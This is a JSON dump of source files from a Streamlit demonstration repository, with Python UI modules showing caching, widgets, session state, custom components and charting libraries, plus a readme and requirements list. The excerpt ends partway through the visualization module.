[ { "alpha_fraction": 0.5973028540611267, "alphanum_fraction": 0.6135199666023254, "avg_line_length": 30.4946231842041, "blob_id": "fa8a6934250f125aaad61bf46d4b9f0744522bdd", "content_id": "c233f1a4c5626bdd3a0b24200451972535ae4f98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5858, "license_type": "no_license", "max_line_length": 149, "num_lines": 186, "path": "/ui/intermediate.py", "repo_name": "Magier/streamlit_demo_fhLUG", "src_encoding": "UTF-8", "text": "from dataclasses import dataclass\nfrom typing import Dict, Callable, Collection, List\n\nimport time\nimport copy\nimport numpy as np\nimport pandas as pd\nimport streamlit as st\nimport altair as alt\n\n\ndef show_basic_caching() -> None:\n st.header(\"Improve performance by caching\")\n # TODO: load big file\n # max size\n # cache complex object -> custom hash function\n #\n st.write(\"\"\"Caching is the core mechanic of streamlit to allow for an acceptable UX: \n Simply decorate a function with `st.cache`\"\"\")\n\n use_cache = st.checkbox(\"Use caching?\")\n\n st.write(\"Used function for loading the data:\")\n load_data = _with_cache() if use_cache else _without_caching()\n st.write(\"Load and inspect the downloaded dataset\")\n\n # simple caching\n with st.echo():\n base_url = \"https://raw.githubusercontent.com/vega/vega-datasets/master/data/\"\n\n src = st.selectbox(\"Vega Dataset:\", [\"gapminder.json\", \"jobs.json\", \"flights-20k.json\"])\n df = load_data(base_url+src)\n # n = st.slider(\"Show first n entries:\", min_value=0, max_value=len(df), value=10, step=1000)\n st.dataframe(df.head(100))\n\n st.subheader(\"Not just dataframes can be cached\")\n with st.echo():\n create_chart = st.cache(_create_chart, allow_output_mutation=True) if use_cache else _create_chart\n chart = create_chart(df)\n st.altair_chart(chart, use_container_width=True)\n\n st.info(\"**Hint**: Data is cached across sessions!\")\n\n\ndef _create_chart(df: pd.DataFrame) -> alt.Chart:\n x_col = \"year\" if 'year' in df.columns else 'date'\n val_col = df.select_dtypes([np.number]).columns[-1]\n cat_col = df.select_dtypes([np.object]).columns[0]\n chart = alt.Chart(df).mark_line().encode(\n x=f\"{x_col}:T\",\n y=val_col,\n color=cat_col,\n tooltip=[x_col, val_col, cat_col]\n )\n return chart\n\n\ndef show_advanced_caching() -> None:\n st.header(\"Fine grained control\")\n st.subheader(\"Under the Hood\")\n st.markdown(\"\"\" Information used for detecting changes in cache: \n \n 1. The input parameters that you called the function with\n 2. The value of any external variable used in the function\n 3. The body of the function\n 4. The body of any function used inside the cached function\n \"\"\")\n # pythons LRU cache uses only input parameters (see: https://docs.python.org/3/library/functools.html#functools.lru_cache)\n\n st.subheader(\"Cache custom objects\")\n \n if st.checkbox(\"Show error message\"):\n st.image(\"https://aws1.discourse-cdn.com/standard10/uploads/streamlit/optimized/2X/8/8e43b6b1b88db7d0759adfe163ac1ebe09fcd3f8_2_690x401.png\")\n\n with st.echo():\n @dataclass()\n class MyObject:\n value: int = 0\n __hash__ = None\n\n def __repr__(self):\n return f\"MyObject={self.value}\"\n\n @st.cache(suppress_st_warning=True)\n def load_data(n: int = 10) -> List[MyObject]:\n st.warning(\"Cache miss!\")\n return [MyObject(np.random.randint(0, 100)) for _ in range(n)]\n\n st.write(f\"Representation of MyObject: `{MyObject()}`\")\n\n st.markdown('-'*6)\n st.subheader(\"Selective caching of specific types\")\n\n with st.echo():\n hash_fns = {'default': 'default', 'hash': hash, 'id': id, 'None': lambda _: None}\n fn = st.radio(\"Hashing function\", list(hash_fns.keys()))\n\n cached_load_data = st.cache(load_data, hash_funcs={MyObject: hash_fns[fn]}) \\\n if fn != \"default\" else st.cache(load_data)\n\n n = st.slider(\"Number of objects\", min_value=1, max_value=10, key=1)\n data = cached_load_data(n)\n st.text(data)\n\n st.markdown('-'*6)\n\n st.subheader(\"Limit cache\")\n st.markdown(\"\"\"\n Two mechanics to limit caching:\n - **max_entries**: limit number of cached entries (oldest will be removed first)\n - **ttl**: limit lifetime of entry (in seconds)\"\"\")\n with st.echo():\n @st.cache(ttl=5, max_entries=100, suppress_st_warning=True)\n def load_data(num_entries: int = 10) -> List[MyObject]:\n st.warning(\"cache miss!\")\n return [MyObject(np.random.randint(0, 100)) for _ in range(num_entries)]\n\n n = st.slider(\"Number of objects\", min_value=1, max_value=10)\n data = load_data(n)\n st.text(data)\n\n\ndef _without_caching() -> Callable:\n with st.echo():\n def load_data(src: str) -> pd.DataFrame:\n df = pd.read_json(src)\n time.sleep(2)\n return df\n\n return load_data\n\n\ndef _with_cache() -> Callable:\n with st.echo():\n @st.cache\n def load_data(src: str) -> pd.DataFrame:\n df = pd.read_json(src)\n time.sleep(2)\n return df\n return load_data\n\n\ndef _gen_data() -> Collection:\n pass\n\n\ndef _cont_update_chart() -> None:\n st.subheader(\"Update chart\")\n np.random.seed(42)\n\n with st.echo():\n data = np.random.randn(10, 2)\n\n add_data = st.checkbox(\"Continuously update chart\")\n chart = st.line_chart(data)\n\n while add_data:\n chart.add_rows(np.random.randn(1, 2))\n time.sleep(0.5)\n\n\ndef _update_dataframe() -> None:\n with st.echo():\n df = pd.DataFrame(np.random.randn(10, 2), columns=['A', 'B'])\n table = st.dataframe(df)\n\n add_data = st.checkbox(\"Continuously add data\")\n while add_data:\n table.add_rows(np.random.randn(1, 2))\n time.sleep(0.5)\n\n\ndef show_dynamic_updating() -> None:\n st.header(\"Dynamically update content\")\n st.write(\"Uses `DeltaGenerator` under the hood.\")\n\n _cont_update_chart()\n _update_dataframe()\n\n\ndef get_sections() -> Dict[str, Callable]:\n return {\n \"Caching\": show_basic_caching,\n \"Advanced Caching\": show_advanced_caching,\n \"Dynamic updating\": show_dynamic_updating\n }\n" }, { "alpha_fraction": 0.6911764740943909, "alphanum_fraction": 0.7058823704719543, "avg_line_length": 30.733333587646484, "blob_id": "ac282a7370c5ce3b15c5e6d459e509d16b3fc4c4", "content_id": "8f12b7af0fb2c6593e703c6466f38fd25a94a5ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1904, "license_type": "no_license", "max_line_length": 129, "num_lines": 60, "path": "/app.py", "repo_name": "Magier/streamlit_demo_fhLUG", "src_encoding": "UTF-8", "text": "from collections import OrderedDict\nfrom typing import Tuple, Optional\n\nimport argparse\nimport streamlit as st\n\nimport ui.intermediate\nimport ui.basics\nimport ui.interactive\nimport ui.visualization\nimport ui.utility\nimport ui.extras\n\n\nPAGES = OrderedDict({\n \"Basic Elements\": ui.basics,\n \"Interactivity\": ui.interactive,\n \"Utility Features\": ui.utility,\n \"Visualization\": ui.visualization,\n \"Intermediate Features\": ui.intermediate,\n \"Undocumented Features\": ui.extras\n})\n\n\ndef main(target_section: Optional[str]) -> None:\n st.sidebar.title(\"Topics\")\n pages = list(PAGES.keys())\n\n if target_section is not None:\n initial_page, initial_section = target_section.split('/')\n else:\n initial_page = initial_section = None\n\n page_idx = pages.index(initial_page) if initial_page is not None else 0\n sel_page = st.sidebar.radio(\"\", pages, index=page_idx)\n st.sidebar.markdown('-'*6)\n\n page = PAGES[sel_page]\n\n st.image(\n \"https://aws1.discourse-cdn.com/standard10/uploads/streamlit/original/2X/7/7cbf2ca198cd15eaaeb2e177a37b2c1c8c9a6e33.png\",\n use_column_width=True)\n st.title(sel_page)\n st.sidebar.header(\"Section\")\n\n # display sections available in selected page\n section_map = page.get_sections()\n sections = list(section_map.keys())\n section_idx = sections.index(initial_section) if initial_section is not None else 0\n section = st.sidebar.radio(\"\", options=sections, index=section_idx)\n section_map[section]() # call function set in the get_section() function on each page\n#\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Demonstrate capabilities of Streamlit\")\n parser.add_argument('--section', dest=\"section\", default=None, help='Path to the desired section (default: None)')\n args = parser.parse_args()\n\n default_selection = args.section\n main(default_selection)\n" }, { "alpha_fraction": 0.7558823823928833, "alphanum_fraction": 0.7588235139846802, "avg_line_length": 38.4202880859375, "blob_id": "89252fe70455609b49d30cf49778cd2a92aa69ee", "content_id": "44d921ddf1407abf1d8d4d59db3db35d51f7a44c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2720, "license_type": "no_license", "max_line_length": 154, "num_lines": 69, "path": "/readme.md", "repo_name": "Magier/streamlit_demo_fhLUG", "src_encoding": "UTF-8", "text": "# Streamlit Demo Application\n\nThis application was created to show capabilities of [Streamlit](http://streamlit.io/) at the time of writing (`version 0.57`).\nAll the explained functions and features are spread across several pages, each divided into several sections.\n\n\n\n## Structure\n\nThe entry point for the application is `app.py`. This script is executed by `streamlit`.\nIn the folder `ui` is all the code related to `streamlit`.\nEach page has its own file with a self-descriptive name.\nAll pages are imported into `app.py` from where they are accessed.\n\nThe pages are:\n - `basics.py`: Explanation of basic elements, like widgets to:\n - display text \n - display tabular data\n - display multimedia content\n - `interactive.py`: Overview of interactive controls:\n - general (i.e. button and checkbox)\n - selection widgets\n - text input \n - numeric inputs\n - misc widgets (i.e. date/time selector and file uploader)\n - `utility.py`: Utility features\n - show different kind of messages \n - displaying progress and dealing with long running processes \n - other utility functions like showing help, placeholder and streamlit options\n - `visualization.py`: showcase of support for different visualization libraries\n - basic usage of most common charting libraries\n - more specific cases like maps, 3D data and graphs \n - `intermediate.py`: covers more complex but still essential functions\n - caching, basic usage of the core function of streamlit\n - advanced caching covers ways to fine tune caching\n - dynamic updating is supported by adding data at a later point to certain streamlit widgets\n - `extras.py`: Undocumented features are either not yet officially supported or just tips and tricks from experience\n - Script mode refers to a streamlit app being run as a regular python script. With this the application can be debugged with well known tools and IDEs\n - with session state can data be stored across multiple interactions and navigation between pages\n - as all is just standard python, individual widgets can be combined and reused in the form of custom components\n - layout is also possible, but not trivial or very practical (code just shows experiments from another user)\n \n\n\n## Installation\n\n1. Clone this repository\n2. _optional:_ create virtual environment\n3. install `streamlit` and dependencies\n4. run application\n\n\n```shell\n# clone repository\ngit clone https://github.com/Enzou/streamlit_demo_fhLUG\n\n# navigate to clone repository\ncd streamlit-demo\n\n# create and use virtual environment\npython -m venv ./venv\nsource ./venv/bin/activate\n\n# install dependencies\npip install -r requirements.txt\n\n# run demo application\nstreamlit run app.py\n```\n" }, { "alpha_fraction": 0.582394003868103, "alphanum_fraction": 0.5888352394104004, "avg_line_length": 32.8636360168457, "blob_id": "7f24a66e7cf74362e376ca54766069c4fe574a64", "content_id": "bf53c35222a0f6e74ea035021bcdf0498ca14a46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3726, "license_type": "no_license", "max_line_length": 137, "num_lines": 110, "path": "/ui/interactive.py", "repo_name": "Magier/streamlit_demo_fhLUG", "src_encoding": "UTF-8", "text": "from typing import Dict, Callable\nimport streamlit as st\nimport pandas as pd\n\n\ndef show_general_widgets() -> None:\n st.header(\"General widgets\")\n st.subheader(\"Checkbox\")\n with st.echo():\n feature_flag = st.checkbox(\"Enable feature flag?\")\n st.write(f\"Feature is `{'enabled' if feature_flag else 'disabled'}`\")\n\n st.markdown(\"------\")\n\n st.subheader(\"Button\")\n with st.echo():\n if st.button(\"celebrate\"):\n st.balloons()\n\n\ndef show_selection_widgets() -> None:\n st.header(\"Selection widgets\")\n st.subheader(\"Radio buttons\")\n with st.echo():\n option = st.radio(\"Choose wisely:\", [\"Blue Pill\", \"Red Pill\"], index=1)\n st.write(f\"You chose: {option}\")\n\n st.markdown(\"------\")\n st.subheader(\"Selectbox\")\n with st.echo():\n option = st.selectbox(\"Choose wisely:\", [\"Blue Pill\", \"Red Pill\"], index=1)\n st.write(f\"You chose: {option}\")\n\n st.markdown(\"------\")\n st.subheader(\"Multiselect\")\n with st.echo():\n tags = st.multiselect(\"Streamlit is\", [\"awesome\", \"lit\", \"fancy\", \"boring\"], default=[\"awesome\"])\n st.write(f\"You will chose: {tags}\")\n\n\ndef show_text_widgets() -> None:\n st.header(\"Text input widgets\")\n st.subheader(\"Text input\")\n with st.echo():\n name = st.text_input(\"What is your name?\", value=\"-\")\n st.write(f\"Hello, {name} :wave:\")\n\n st.write(\"This widget can also be used to enter secrets:\")\n with st.echo():\n secret = st.text_input(\"What is your name?\", type=\"password\")\n st.write(f\"I know your secret: _{secret}_\")\n\n st.markdown(\"------\")\n\n st.subheader(\"Text area\")\n with st.echo():\n name = st.text_area(\"Please enter text to analyzer\", value=\"1st line\\n2nd line\\n3rd line\")\n\n\ndef show_misc_widgets() -> None:\n st.header(\"Misc widgets\")\n st.subheader(\"Date input\")\n with st.echo():\n date = st.date_input(\"What day is today?\")\n st.write(f\"Today is {date}\")\n\n st.markdown(\"------\")\n st.subheader(\"Time input\")\n with st.echo():\n time = st.time_input(\"What time is it?\")\n st.write(f\"Currently it is {time}\")\n\n st.markdown(\"------\")\n st.subheader(\"File Uploader\")\n st.write(\"This widget is useful for deployed ML apps hosted on a remote server. \"\n \"Default limit of uploaded file is 200MB, but the limit can be adjusted using `server.maxUploadSize`\")\n with st.echo():\n csv = st.file_uploader(\"Please choose a CSV file\", type=\"csv\", encoding=\"utf-8\")\n if csv is not None:\n df = pd.read_csv(csv)\n st.write(df)\n\n\ndef show_numeric_widgets() -> None:\n st.header(\"Numeric widgets\")\n st.subheader(\"Slider\")\n with st.echo():\n score = st.slider(\"How awesome is streamlit?\",\n min_value=0., max_value=10., value=5.,\n step=0.5, format=\"%.1f\")\n\n st.write(f\"_Note: the type of the (min/max/.) value and step must be of the same type, i.e. mixing float and int leads to an error_\")\n st.write(\"-\"*6)\n\n st.subheader(\"Number input\")\n with st.echo():\n st.number_input(\"How awesome is streamlit?\",\n min_value=0., max_value=10., value=5.,\n step=0.5, format=\"%.1f\")\n st.write(f\"_Note: the type of the (min/max/.) value and step must be of the same type, i.e. mixing float and int leads to an error_\")\n\n\ndef get_sections() -> Dict[str, Callable]:\n return {\n \"Show general widgets\": show_general_widgets,\n \"Show selection widgets\": show_selection_widgets,\n \"Show text widgets\": show_text_widgets,\n \"Show numeric widgets\": show_numeric_widgets,\n \"Show misc widgets\": show_misc_widgets,\n }\n\n" }, { "alpha_fraction": 0.5959627032279968, "alphanum_fraction": 0.6031056046485901, "avg_line_length": 25.611570358276367, "blob_id": "ae5828b1f5da13e131c029f62c17957466489d16", "content_id": "2bd0e9d8fd634482609cc09988e2c1f9b9a2ed9a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3220, "license_type": "no_license", "max_line_length": 109, "num_lines": 121, "path": "/ui/utility.py", "repo_name": "Magier/streamlit_demo_fhLUG", "src_encoding": "UTF-8", "text": "import time\nimport inspect\nfrom typing import Dict, Callable, Optional\n\nimport streamlit as st\nimport pandas as pd\nimport numpy as np\n\n\ndef do_stuff(fn: Optional[Callable] = None) -> None:\n for percent_complete in range(100):\n time.sleep(0.05)\n if fn is not None:\n fn(percent_complete + 1)\n # my_bar.progress()\n # fn()\n\n\ndef show_progress() -> None:\n st.header(\"Show progress of longer operations\")\n\n st.write(\"Source code of time consuming task:\")\n st.code(inspect.getsource(do_stuff))\n\n st.subheader(\"Spinner\")\n with st.echo():\n if st.button(\"Start Spinner\"):\n with st.spinner(\"Waiting for it to be done\"):\n do_stuff()\n\n st.markdown('-' * 6)\n\n st.subheader(\"Progress bar\")\n\n with st.echo():\n my_bar = st.progress(0)\n if st.button(\"Start Progress\"):\n do_stuff(my_bar.progress)\n\n\ndef show_messages() -> None:\n st.header(\"Message types\")\n with st.echo():\n st.info(\"This is just some information\")\n with st.echo():\n st.success(\"This is a **success** message\")\n with st.echo():\n st.warning(\"This is a _warning_ message\")\n with st.echo():\n st.error(\"This is an __error__ message\")\n with st.echo():\n st.exception(\"This is an error message\")\n st.exception(RuntimeError(\"This is a runtime error\"))\n\n\ndef show_utilities() -> None:\n st.header(\"Utility functions\")\n\n st.subheader(\"Show help for an object\")\n with st.echo():\n if st.button(\"Show help\"):\n st.help(pd.DataFrame)\n\n st.markdown('-' * 6)\n\n st.subheader(\"Placeholder\")\n with st.echo():\n placeholder = st.empty()\n st.info(\"This message was created **after** the placeholder!\")\n choice = st.radio(\"Option\", [None, 'markdown', 'dataframe'])\n\n if choice == \"markdown\":\n placeholder.markdown(\"This was written at a later point in time :wave:\")\n elif choice == \"dataframe\":\n placeholder.dataframe(pd.DataFrame(np.random.randint(0, 100, size=(5, 4)), columns=list('ABCD')))\n\n st.markdown('-' * 6)\n\n st.subheader(\"Get and set options\")\n\n st.write(\"\"\"Show and change options for streamlit. \n Available options can be viewed by entering `streamlit config show` in the terminal. \n Option key has structure `section.optionName`.\n \"\"\")\n\n st.code(\"\"\"\n ...\n [server]\n ...\n # Max size, in megabytes, for files uploaded with the file_uploader.\n # Default: 200\n maxUploadSize = 200\n ...\n \"\"\")\n\n with st.echo():\n up_size = st.get_option(\"server.maxUploadSize\")\n st.write(f\"Maximum upload size upload size is `{up_size} MB`\")\n\n st.write(\"\"\"\n #### Updating client settings \n Changing config options currently works ony for client options, i.e.:\n * client.caching\n * client.displayEnabled\n \"\"\")\n\n\ndef get_sections() -> Dict[str, Callable]:\n return {\n \"Show messages\": show_messages,\n \"Show progress\": show_progress,\n \"Show utilities\": show_utilities\n }\n\n\ndef main():\n # TODO: notfications\n # TODO: progress\n # TODO: gimmicks like balloons\n if st.button(\"Perform slow task\"):\n show_progress()\n" }, { "alpha_fraction": 0.5874937176704407, "alphanum_fraction": 0.5892586708068848, "avg_line_length": 31.23577308654785, "blob_id": "a0392c6359631b30d9a91f70521ca3fc4f38fa15", "content_id": "6570ed41e5569871c36e8e70e6fb9b9d554b535d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4078, "license_type": "no_license", "max_line_length": 175, "num_lines": 123, "path": "/ui/extras.py", "repo_name": "Magier/streamlit_demo_fhLUG", "src_encoding": "UTF-8", "text": "from typing import Dict, Callable\n\nimport streamlit as st\n\n\ndef show_sessionstate() -> None:\n st.header(\"Session state\")\n\n st.markdown(\"\"\"Two workarounds are available to maintain state: \n 1. `session_state.py`: getter function to retrieve reference to `SessionState` instance \n 2. `st_state_patch.py`: adds `State`, `GlobalState` and `SessionState` classes to streamlit reference. \n \n \"\"\")\n st.write(\"This example uses the `st_state_patch.py` solution:\")\n\n with st.echo():\n import ui.session_state.st_state_patch\n\n s = st.State(is_global=False)\n\n if \"is_authenticated\" not in s or not s.is_authenticated:\n user = st.text_input(\"Username\")\n pwd = st.text_input(\"Password\", type=\"password\")\n\n if st.button(\"Authenticate\"):\n s.is_authenticated = do_authentication()\n if s.is_authenticated:\n s.username = user\n s.password = pwd\n st.success(f\"{s.username} successfully authenticated!\")\n else:\n st.error(f\"Failed to authenticate as {s.username}\")\n else:\n st.write(f\"> Authenticated as `{s.username}`\")\n\n if st.button(\"Logout\"):\n s.is_authenticated = False\n s.username = s.password = None\n\n\ndef do_authentication() -> True:\n # Just a dummy function for the demonstration of cli mode\n return True\n\n\ndef show_script_mode() -> None:\n st.header(\"Use as a regular script\")\n\n st.markdown(\"It is important to set proper default for all selection controls, \"\n \"as there is no interactivity supported out of the box\")\n\n with st.echo():\n lab = st.selectbox(\"Choose your Lab\", [\"Linz\", \"Hagenberg\", \"Barcelona\", \"Detroit\", \"Gdansk\"], index=1)\n st.write(\"> :bell: Place debugger here to check correct default option\")\n\n st.subheader(\"Deal with tricky widgets\")\n st.write(\"Actions triggered by buttons need extra treatment :unamused:\")\n with st.echo():\n script_mode = not st._is_running_with_streamlit\n\n if script_mode or st.button(\"Click me\"):\n st.balloons()\n do_authentication()\n\n\ndef show_components() -> None:\n st.header(\"Demonstrate use of a custom component\")\n\n st.markdown(\"A component is just a collection of streamlit widgets and custom functions.\"\n \"To use a custom components simply import it and call the required function\")\n\n st.write(\"This project has the following folder structure:\")\n st.text(\"\"\"\n .\n ├── app.py\n ├── data\n │   ├── external\n │   └── raw\n │   ├── data_1.csv\n ...\n │   └── web_1.json\n ...\n ├── ui\n │   ├── basics.py\n │   ├── components\n │   │   └── data_selector.py\n │   ├── extras.py\n │   ├── interactive.py\n ... \n \"\"\")\n \n with st.echo():\n import ui.components.data_selector as file_selector\n\n file_selector.select_file(\"raw\", st, [\".csv\", \".json\"])\n\n st.markdown('-'*6)\n st.write(\"Help for the custom component is available via `st.help`\")\n with st.echo():\n st.help(file_selector.select_file)\n\n\ndef show_layouts() -> None:\n st.header(\"Custom layouts are possible\")\n\n st.markdown(\"\"\"With quite some effort\n The used code is shamelessly copied from [Layout Experiments](https://raw.githubusercontent.com/MarcSkovMadsen/awesome-streamlit/master/gallery/layout_experiments/app.py) \n Author is [Marc Skov Madsen](https://datamodelsanalytics.com/)\n \"\"\")\n\n st.markdown('-'*6)\n with st.echo():\n import src.layout_experiment as layout\n layout.main()\n\n\ndef get_sections() -> Dict[str, Callable]:\n return {\n \"Script Mode\": show_script_mode,\n \"Session State\": show_sessionstate,\n \"Components\": show_components,\n \"Show Custom Layouts\": show_layouts,\n }\n\n" }, { "alpha_fraction": 0.668123722076416, "alphanum_fraction": 0.6684600114822388, "avg_line_length": 37.11538314819336, "blob_id": "b2fc75bf77647f999dafb72fa2baba06bad367e7", "content_id": "2bc7f5a318da7f500e5b3e8a74945463f5b60f69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2974, "license_type": "no_license", "max_line_length": 124, "num_lines": 78, "path": "/ui/components/data_selector.py", "repo_name": "Magier/streamlit_demo_fhLUG", "src_encoding": "UTF-8", "text": "import os\nfrom pathlib import Path, PosixPath\nfrom typing import Tuple, Optional, List, Generator, Any, Union\n\nimport streamlit as st\nimport pandas as pd\n\nDATA_DIR = Path('data')\n\nSUPPORTED_FILE_TYPES = {\".csv\", \".txt\", \".json\", \".avro\", \".xml\"}\n\n\ndef get_available_files(src_dir: Path) -> List[str]:\n \"\"\"\n Create a full list of all files in given folder and its subfolders\n :param src_dir: folder whose content will be listed\n :return: list of all files in given folder\n \"\"\"\n fs = [str(Path(dp).relative_to(src_dir)/f) for dp, dn, fn in os.walk(src_dir) for f in fn]\n return fs\n\n\ndef _check_defaults(datasets: List[str], defaults: Union[str, List[str]]) -> List[str]:\n if isinstance(defaults, str):\n defaults = [defaults] # make sure it's a list\n return [_check_default(datasets, d) for d in defaults]\n\n\ndef _check_default(datasets: List[str], default: str):\n if default not in datasets:\n try:\n def_f = Path(default)\n default = next(ds for ds in datasets if Path(ds) == def_f)\n except StopIteration:\n default = None\n return default\n\n\ndef filter_supported_datasets(datasets: List[str], allowed_exts: Optional[List[str]] = None) -> List[str]:\n if allowed_exts is None:\n allowed_exts = SUPPORTED_FILE_TYPES\n return [ds for ds in datasets if Path(ds).suffix in allowed_exts]\n\n\ndef select_file(src_folder: str, container: Optional = None, defaults: Optional[Union[str, List[str]]] = None) -> List[str]:\n \"\"\"\n Selection widget for choosing the files to work on.\n :param src_folder: sub-directory within the 'data'-directory from where the files should be used\n :param container: streamlit container in which the component will be placed. Either `st` directly or `st.sidebar`.\n By default `st` is used.\n :param defaults: Optional preset of files to use as default.\n Can be either a string for a single file or a list of files.\n :return: tuple with name of selected file and loaded file as pandas dataframe\n \"\"\"\n if container is None:\n container = st\n\n container.header(\"Select source file(s)\")\n\n src_dir = DATA_DIR/src_folder\n available_files = get_available_files(src_dir)\n\n file_types = list(set([Path(f).suffix for f in available_files]))\n file_types = list(SUPPORTED_FILE_TYPES.intersection(file_types))\n sel_file_types = container.multiselect(\"File types:\", options=file_types, default=file_types)\n\n datasets = filter_supported_datasets(available_files, sel_file_types)\n defaults = _check_defaults(datasets, defaults)\n defaults = [d for d in defaults if d] # drop invalid defaults\n\n selected_files = container.multiselect(\"Source file: \", options=datasets, default=defaults)\n\n if len(selected_files) == 0:\n container.error(\"No valid file selected\")\n return []\n else:\n # return [src_dir/f for f in selected_files]\n return selected_files\n\n" }, { "alpha_fraction": 0.5572519302368164, "alphanum_fraction": 0.7251908183097839, "avg_line_length": 12.199999809265137, "blob_id": "d55bb7e11a69aecef90859c3180f38e891c48d1f", "content_id": "e91ceb239fd18fecd5638e008e3359ecfb3ee197", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 131, "license_type": "no_license", "max_line_length": 17, "num_lines": 10, "path": "/requirements.txt", "repo_name": "Magier/streamlit_demo_fhLUG", "src_encoding": "UTF-8", "text": "streamlit>=0.57.3\npandas>=1.0.3\nnumpy>=1.18.2\nwebsockets>=8.1\nmatplotlib>=3.2.1\nplotly>=4.6.0\nMarkdown>=3.2.1\ngraphviz\nbokeh\naltair" }, { "alpha_fraction": 0.5176740884780884, "alphanum_fraction": 0.5306809544563293, "avg_line_length": 34.13440704345703, "blob_id": "919bd1f25f2ebb72391d2f883113bdb6380a6b79", "content_id": "e1888f19ba96dfcda19474ee7dc23596048733aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6544, "license_type": "no_license", "max_line_length": 152, "num_lines": 186, "path": "/ui/visualization.py", "repo_name": "Magier/streamlit_demo_fhLUG", "src_encoding": "UTF-8", "text": "from typing import Dict, Callable\n\nimport streamlit as st\nimport numpy as np\nimport pandas as pd\n\n\ndef show_charts() -> None:\n st.header(\"Plotting options\")\n\n # st.write(\"_Note: All plots use the `iris dataset` from [seaborns data repository](https://github.com/mwaskom/seaborn-data/blob/master/iris.csv)_\")\n # iris = pd.read_csv('https://raw.githubusercontent.com/mwaskom/seaborn-data/master/iris.csv')\n\n st.subheader(\"Simple charts\")\n st.write(\"\"\"Simple functions to create `line`/`bar` or `area` charts. \n This is a simple wrapper around _altair_ plots. \n Provided data can be any of `pandas dataframe`, `numpy array`, `iterable`, `dict`. \n \n > This is just syntax-sugar around st.altair_chart. \n > The main difference is this command uses the data’s own column and indices to figure out the chart’s spec. \n > As a result this is easier to use for many “just plot this” scenarios, while being less customizable.\n \"\"\")\n\n np.random.seed(42)\n df = pd.DataFrame(np.random.randn(20, 3), columns=['a', 'b', 'c'])\n st.dataframe(df)\n\n with st.echo():\n plot_types = {\"bar\": st.bar_chart, \"line\": st.line_chart, \"area\": st.area_chart}\n plot_type = st.selectbox(\"Select plot type:\", list(plot_types), index=0)\n plot_types[plot_type](df, use_container_width=True)\n\n st.write('-' * 6)\n st.subheader(\"Pyplot (Matplotlib)\")\n\n with st.echo():\n import matplotlib.pyplot as plt\n plt.plot(df['a'], df['b'])\n plt.title(\"Abstract (science) art\")\n st.pyplot()\n\n st.write('-' * 6)\n st.subheader(\"Altair / Vega-lite\")\n\n st.write(\"A detailed documentation can be found on [Altair](https://altair-viz.github.io/) homepage\")\n with st.echo():\n import altair as alt\n chart = alt.Chart(df).mark_circle().encode(\n x='a',\n y='b',\n size='c',\n color='c',\n tooltip=['a', 'b', 'c']\n )\n st.altair_chart(chart)\n\n st.write('-' * 6)\n st.subheader(\"Bokeh\")\n st.write(\"A detailed documentation can be found on [Bokeh](https://docs.bokeh.org/en/latest/index.html) homepage\")\n with st.echo():\n from bokeh.plotting import figure\n p = figure(\n title='simple line example',\n x_axis_label='a',\n y_axis_label='b')\n p.line(df['a'], df['b'], legend='Trend', line_width=2)\n\n st.bokeh_chart(p, use_container_width=True)\n\n st.write('-' * 6)\n st.subheader(\"Plotly\")\n st.write(\"A detailed documentation can be found on [Plotly](https://plotly.com/python/) homepage\")\n with st.echo():\n import plotly.express as px\n fig = px.scatter(df, x=\"a\", y=\"b\")\n st.plotly_chart(fig)\n\n\ndef show_maps_and_graphs() -> None:\n st.header(\"3D maps and graphs\")\n\n lat, long = 48.30, 14.2958\n\n st.write(\"Data used for the geographic visualizations\")\n df = pd.DataFrame(\n np.random.randn(1000, 2) / [60, 60] + [lat, long],\n columns=['lat', 'lon'])\n st.dataframe(df)\n\n st.write('-' * 6)\n st.subheader(\"Maps\")\n\n zoom_lvl = st.slider(\"Zoom level: \", min_value=-1, max_value=20)\n if zoom_lvl == -1:\n zoom_lvl = None\n st.write(\"Zoom level is integer taken from [Open Streetmap](https://wiki.openstreetmap.org/wiki/Zoom_levels)\")\n\n with st.echo():\n st.map(df, zoom=zoom_lvl)\n\n st.write('-' * 6)\n st.subheader(\"pydeck / DeckGL\")\n st.write(\n \"This supports 3D maps, point clouds, and more! More info about PyDeck at [deckgl](https://deckgl.readthedocs.io/en/latest/).\")\n with st.echo():\n import pydeck as pdk\n\n st.pydeck_chart(pdk.Deck(\n map_style='mapbox://styles/mapbox/light-v9',\n initial_view_state=pdk.ViewState(\n latitude=lat,\n longitude=long,\n zoom=11,\n pitch=50,\n ),\n layers=[\n pdk.Layer(\n 'HexagonLayer',\n data=df,\n get_position='[lon, lat]',\n radius=200,\n elevation_scale=4,\n elevation_range=[0, 1000],\n pickable=True,\n extruded=True,\n ),\n pdk.Layer(\n 'ScatterplotLayer',\n data=df,\n get_position='[lon, lat]',\n get_color='[200, 30, 0, 160]',\n get_radius=200,\n ),\n ],\n ))\n\n st.write('-' * 6)\n st.subheader(\"Graphviz\")\n st.write(\"A detailed documentation about Graphviz cound be found [here](https://graphviz.readthedocs.io/en/stable/index.html)\")\n with st.echo():\n import graphviz\n graph = graphviz.Digraph()\n graph.attr(rankdir='LR')\n graph.edge('Domain Controller', 'Server 1')\n graph.edge('Domain Controller', 'Server 2')\n graph.edge('Server 1', 'Database')\n graph.edge('Server 1', 'Client 1')\n graph.edge('Server 2', 'Client 1')\n\n st.graphviz_chart(graph)\n\n st.write(\"The use of the graphviz library is not mandatory, a graph as string in dot notation works just as fine\")\n\n with st.echo():\n dot_format = \"\"\"digraph {\n tbl [\n shape=plaintext\n label=<\n <table border='0' cellborder='1' color='blue' cellspacing='0'>\n <tr><td>foo</td><td>bar</td><td>baz</td></tr>\n <tr><td cellpadding='4'>\n <table color='orange' cellspacing='0'>\n <tr><td>one </td><td>two </td><td>three</td></tr>\n <tr><td>four </td><td>five </td><td>six </td></tr>\n 